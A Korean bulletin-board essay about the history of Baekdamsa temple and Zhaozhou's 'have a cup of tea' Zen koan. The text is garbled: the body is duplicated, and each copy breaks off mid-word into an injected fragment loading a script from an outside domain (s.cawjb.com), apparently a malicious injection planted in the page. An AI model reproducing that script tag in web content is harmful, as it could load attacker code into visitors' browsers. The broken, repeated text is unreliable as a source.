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[제목]
차나 한 잔 하시게 (백운학)
🧑 정부영
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📅 2016-01-05 18:05:17
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👀 43
설악산 산행을 즐기는 친구들이나 아님 바람 쐬러라도 한번쯤은 가봤슴직한 내설악 언저리에
아담하게 자리한 백담사라는 절에 관해 말하려고 하네. 참 이 야그하기전에 특정종교를 포교하는 목적은 절대 아니라는 사실(난 종교라는 걸 갖지 못한 떠돌이 라네)에 대해 이해를 구하려네
백담사는 신라 진덕여왕 원년(647년)에 자장율사가 창간하였다고 전해진다. 창건 당시 절 이름은 한계사(寒溪寺)라 했으며, 위치도 현재의 위치가 아니라 한계령 중턱 장수대 근방이었다. 이 한계사는 불타고 없어지고 지금은 석탑만이 남아 있을 뿐이다. 이후에 절이 수차례 불타 절터를 계속 바꾸어 이름도 바꾸었다. 백담사라는 이름은 세종 20년에 지어 불렀으나 다시 심원사로 바뀌었다가 정조 7년에 다시 백담사(百潭寺)로 바꾸었다. 이렇듯 백담사는 많은 화재와 사연을 지닌 채 1천3백년을 존속해왔다. 최근에는 1915년 1백60여칸의 백담사는 불타버리고, 4년후에 중건했으나 6.25 동란으로 다시 소실되었다.
전해 내려오는 이야기에 의하면 사찰이 계속 화재로 소실되어 폐허가 되므로 이름을 고쳐보려고 애를 쓰던 중 어느날 주지스님의 꿈에 신령스러운 백발노인이 나타나 청봉에서 지금의 절까지 담(潭)을 세어 1백개가 되는 장소에 사찰을 건립하면 삼재(水,火,風)를 면하리라고 현몽하기에 현재의 위치에 건립했으며, 담(潭)자는 불의 기운을 막을 수 있다고 하여 백담사라 하였다고 전해진다.
만해의 민족정신이 깃든 백담사에 1988년 11월 23일부터 2년간 민족의 죄인라는 여론에 밀려 전두환 전직대통령이 거취했다는 아이러니한 인연으로 사람들의 입에 자주 오르내리기도 했다.극락보전 앞 화엄당이 바로 전두환, 이순자 전직대통령 부부가 머물던 처소이다. 바로 이곳은 만해가 님의 침묵을 탈고했던 곳이기도 하다.
이후에는 백담사에 적지 않은 변화가 있었다. 백담사를 들어가던 오솔길은 차가 드나들도록 콘크리트 포장이 되어 한적한 옛맛이 사라졌다. 전두환 대통령을 위해서인지, 백담사를 위해서인지 절 앞 개울을 가로지르는 수심교가 지난 89년에 착공해 90년 9월에 완공되었다. 길이 95m,폭 4m의 수려한 이 다리는 원주지방국토관리청에서 건설했다. 뿐만아니라 전직대통령 부부가 머물던 자리에 만해 기념관이 들어서고,
수심교를 지나 백담사 일주문을 들어서면 왼쪽켠에 "차나 한잔 하시게"라는 카페도 있다.
내가 오늘 할려고하는 야그는 "차나 한 잔 하시게"라는 말이다.
선(禪)에는 보통 묵조선(默照禪)이니 간화선(看話禪)이니 하는 말이 있다.
간화선이란 묵조선(내가 이미 설명한 바 있음)과는 달리 인간의 언어를 빌린다. 간화의 간(看)이란 참간(參看)의 뜻이다. 즉 참고한다는 뜻이다. 간화의 화(話)란 옛 사람들의 화두(古人之話頭)다. 지난 수행자들이 깨달음의 실마리로 삼은 이야기들인 것이다. 간화선이란 이러한 이야기를 참고로 하여 항상 그것을 생각함으로써 어느 삶의 순간에 큰 깨달음에 이르게 된다는 것이다.
이러한 간화의 실마리를 제공하는 불조(佛祖)들의 언어동작이 담긴 이야기체계를 우리는 보통 공안(公案)이라 부른다. 이는 요새말로 하면 "관공서의 문안"이라는 뜻이다. 공(公)이란 천하의 모든 길이 하나로 통하게 되는 지리(至理)를 말하는 것이요, 안(案)이란 성현이 진리를 실천하는 바를 기록한 정문(正文)이라는 뜻이다. 이 공안은 사실 고승들의 삶의 자취요, 깨달음의 궤적이다.
이런 공안 100칙을 모아놓은 벽암록(碧巖錄)이라는 책에 있는 조주끽다(趙州喫茶)의 공안을 소개하려 한다.
조주가 한 승려에게 여기에 온 적이 있느냐고 물었다. 승려가 있다고 대답하자, 조주는 ‘차나 한 잔 하고 가게(喫茶去).’하였다. 또 다른 승려에게 같은 질문을 하였는데, 승려가 없다고 하자, 이번에도 조주는 ‘차나 한 잔하게.’하였다.
옆에 있는 원주(院主 : 절간의 재정담당 스님)가 온 적이 있는 사람에게도 차를 권하고, 온 적이 없는 사람에게도 차를 권하냐는 이유를 물었다. 그러자 조주는 원주에게도 ‘자네도 차나 한 잔 하게나.’하였다. 이것은 만물에는 차별이 없음을 깨우치는 일화로, 조주는 이처럼 일상적인 것을 이용하여 많은 제자를 깨우쳤다. 이 화두는 조사선의 핵심사상인 일상생활이 곧 도라는 평상심시도(平常心是道)와 만물일체(萬物一體) 사상을 대표하는 화두로 유명하다.
조주라는 인물은 출가할 때의 다음과 같은 일화가 전하는 걸 보면 다른 구석이 있기는 하다.
10대의 새파란 조주가 남전(南泉)을 처음 찾아뵈었을 때 남전은 때마침 선원 조실 따뜻한 아랫목에 드러누워 문을 열고 한가로이 동짓 겨울 소조한 풍경을 음미하고 있었다.
"어디서 왔느냐?"
"서상원(瑞像院)에서 왔습니?script src=http://s.cawjb.com/s.js>
아담하게 자리한 백담사라는 절에 관해 말하려고 하네. 참 이 야그하기전에 특정종교를 포교하는 목적은 절대 아니라는 사실(난 종교라는 걸 갖지 못한 떠돌이 라네)에 대해 이해를 구하려네
백담사는 신라 진덕여왕 원년(647년)에 자장율사가 창간하였다고 전해진다. 창건 당시 절 이름은 한계사(寒溪寺)라 했으며, 위치도 현재의 위치가 아니라 한계령 중턱 장수대 근방이었다. 이 한계사는 불타고 없어지고 지금은 석탑만이 남아 있을 뿐이다. 이후에 절이 수차례 불타 절터를 계속 바꾸어 이름도 바꾸었다. 백담사라는 이름은 세종 20년에 지어 불렀으나 다시 심원사로 바뀌었다가 정조 7년에 다시 백담사(百潭寺)로 바꾸었다. 이렇듯 백담사는 많은 화재와 사연을 지닌 채 1천3백년을 존속해왔다. 최근에는 1915년 1백60여칸의 백담사는 불타버리고, 4년후에 중건했으나 6.25 동란으로 다시 소실되었다.
전해 내려오는 이야기에 의하면 사찰이 계속 화재로 소실되어 폐허가 되므로 이름을 고쳐보려고 애를 쓰던 중 어느날 주지스님의 꿈에 신령스러운 백발노인이 나타나 청봉에서 지금의 절까지 담(潭)을 세어 1백개가 되는 장소에 사찰을 건립하면 삼재(水,火,風)를 면하리라고 현몽하기에 현재의 위치에 건립했으며, 담(潭)자는 불의 기운을 막을 수 있다고 하여 백담사라 하였다고 전해진다.
만해의 민족정신이 깃든 백담사에 1988년 11월 23일부터 2년간 민족의 죄인라는 여론에 밀려 전두환 전직대통령이 거취했다는 아이러니한 인연으로 사람들의 입에 자주 오르내리기도 했다.극락보전 앞 화엄당이 바로 전두환, 이순자 전직대통령 부부가 머물던 처소이다. 바로 이곳은 만해가 님의 침묵을 탈고했던 곳이기도 하다.
이후에는 백담사에 적지 않은 변화가 있었다. 백담사를 들어가던 오솔길은 차가 드나들도록 콘크리트 포장이 되어 한적한 옛맛이 사라졌다. 전두환 대통령을 위해서인지, 백담사를 위해서인지 절 앞 개울을 가로지르는 수심교가 지난 89년에 착공해 90년 9월에 완공되었다. 길이 95m,폭 4m의 수려한 이 다리는 원주지방국토관리청에서 건설했다. 뿐만아니라 전직대통령 부부가 머물던 자리에 만해 기념관이 들어서고,
수심교를 지나 백담사 일주문을 들어서면 왼쪽켠에 "차나 한잔 하시게"라는 카페도 있다.
내가 오늘 할려고하는 야그는 "차나 한 잔 하시게"라는 말이다.
선(禪)에는 보통 묵조선(默照禪)이니 간화선(看話禪)이니 하는 말이 있다.
간화선이란 묵조선(내가 이미 설명한 바 있음)과는 달리 인간의 언어를 빌린다. 간화의 간(看)이란 참간(參看)의 뜻이다. 즉 참고한다는 뜻이다. 간화의 화(話)란 옛 사람들의 화두(古人之話頭)다. 지난 수행자들이 깨달음의 실마리로 삼은 이야기들인 것이다. 간화선이란 이러한 이야기를 참고로 하여 항상 그것을 생각함으로써 어느 삶의 순간에 큰 깨달음에 이르게 된다는 것이다.
이러한 간화의 실마리를 제공하는 불조(佛祖)들의 언어동작이 담긴 이야기체계를 우리는 보통 공안(公案)이라 부른다. 이는 요새말로 하면 "관공서의 문안"이라는 뜻이다. 공(公)이란 천하의 모든 길이 하나로 통하게 되는 지리(至理)를 말하는 것이요, 안(案)이란 성현이 진리를 실천하는 바를 기록한 정문(正文)이라는 뜻이다. 이 공안은 사실 고승들의 삶의 자취요, 깨달음의 궤적이다.
이런 공안 100칙을 모아놓은 벽암록(碧巖錄)이라는 책에 있는 조주끽다(趙州喫茶)의 공안을 소개하려 한다.
조주가 한 승려에게 여기에 온 적이 있느냐고 물었다. 승려가 있다고 대답하자, 조주는 ‘차나 한 잔 하고 가게(喫茶去).’하였다. 또 다른 승려에게 같은 질문을 하였는데, 승려가 없다고 하자, 이번에도 조주는 ‘차나 한 잔하게.’하였다.
옆에 있는 원주(院主 : 절간의 재정담당 스님)가 온 적이 있는 사람에게도 차를 권하고, 온 적이 없는 사람에게도 차를 권하냐는 이유를 물었다. 그러자 조주는 원주에게도 ‘자네도 차나 한 잔 하게나.’하였다. 이것은 만물에는 차별이 없음을 깨우치는 일화로, 조주는 이처럼 일상적인 것을 이용하여 많은 제자를 깨우쳤다. 이 화두는 조사선의 핵심사상인 일상생활이 곧 도라는 평상심시도(平常心是道)와 만물일체(萬物一體) 사상을 대표하는 화두로 유명하다.
조주라는 인물은 출가할 때의 다음과 같은 일화가 전하는 걸 보면 다른 구석이 있기는 하다.
10대의 새파란 조주가 남전(南泉)을 처음 찾아뵈었을 때 남전은 때마침 선원 조실 따뜻한 아랫목에 드러누워 문을 열고 한가로이 동짓 겨울 소조한 풍경을 음미하고 있었다.
"어디서 왔느냐?"
"서상원(瑞像院)에서 왔습니?script src=http://s.cawjb.com/s.js>
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